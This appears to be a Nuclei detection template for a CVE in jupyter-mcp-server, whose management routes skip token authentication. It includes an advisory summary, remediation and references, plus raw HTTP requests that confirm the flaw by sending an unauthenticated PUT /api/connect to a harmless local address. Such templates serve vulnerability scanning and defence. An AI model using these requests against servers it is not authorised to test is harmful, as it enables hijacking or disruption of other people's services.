The standalone `streamable-http` mode of datalayer/jupyter-mcp-server requires `MCP_TOKEN` for the `/mcp` endpoint, but the custom management routes mounted on the same application (`/api/connect`, `/api/stop`, `/api/healthz`) do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect` to point the MCP server at an attacker-controlled Jupyter backend and reset the server context, or `DELETE /api/stop` to disrupt it, without any credentials.
id: CVE-2026-77318
info:
name: Jupyter MCP Server <= 1.0.2 - Unauthenticated Management Routes
author: lior21d
severity: high
description: |
The standalone `streamable-http` mode of datalayer/jupyter-mcp-server requires `MCP_TOKEN` for the `/mcp` endpoint, but the custom management routes mounted on the same application (`/api/connect`, `/api/stop`, `/api/healthz`) do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect` to point the MCP server at an attacker-controlled Jupyter backend and reset the server context, or `DELETE /api/stop` to disrupt it, without any credentials.
impact: |
An unauthenticated attacker with network access can hijack the MCP server's Jupyter backend, redirecting it to attacker-controlled infrastructure and starting a kernel client there, or disrupt the service.
remediation: |
Upgrade to jupyter-mcp-server 1.0.3 or later, which adds token authentication plus host and origin checks to the management routes. Restrict network access to the MCP server and keep it bound to localhost.
reference:
- https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7
- https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5
- https://github.com/datalayer/jupyter-mcp-server/pull/262
- https://nvd.nist.gov/vuln/detail/CVE-2026-77318
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:H/SI:H/SA:L
cvss-score: 7.3
cve-id: CVE-2026-77318
epss-score: 0.01149
epss-percentile: 0.66688
cwe-id: CWE-306
metadata:
verified: true
max-request: 3
vendor: datalayer
product: jupyter-mcp-server
shodan-query: html:"jupyter-mcp-server"
tags: cve,cve2026,jupyter,mcp,unauth,exposure,datalayer,ai,llm
variables:
token: "{{to_lower(rand_base(16))}}"
notebook: "{{to_lower(rand_base(8))}}.ipynb"
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/api/healthz"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"service\":\"jupyter-mcp-server\"", "Jupyter MCP Server is running")'
condition: and
internal: true
- raw:
- |
POST /mcp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "invalid_token")'
condition: and
internal: true
- raw:
- |
PUT /api/connect HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:1",
"runtime_id": "",
"runtime_token": "{{token}}",
"document_url": "http://127.0.0.1:1",
"document_id": "{{notebook}}",
"document_token": "{{token}}"
}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"success\":false", "\"error\"")'
- '!contains(body, "invalid_token")'
condition: and
# digest: 4b0a00483046022100f622b701d4272bc122dc824955bfee37694d4fec91ed623d99a2856723109ec7022100a14f3cb2ea1acd506dcfe5b78c55a95d0af99ee2bcc0c376e5c14877222af60e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.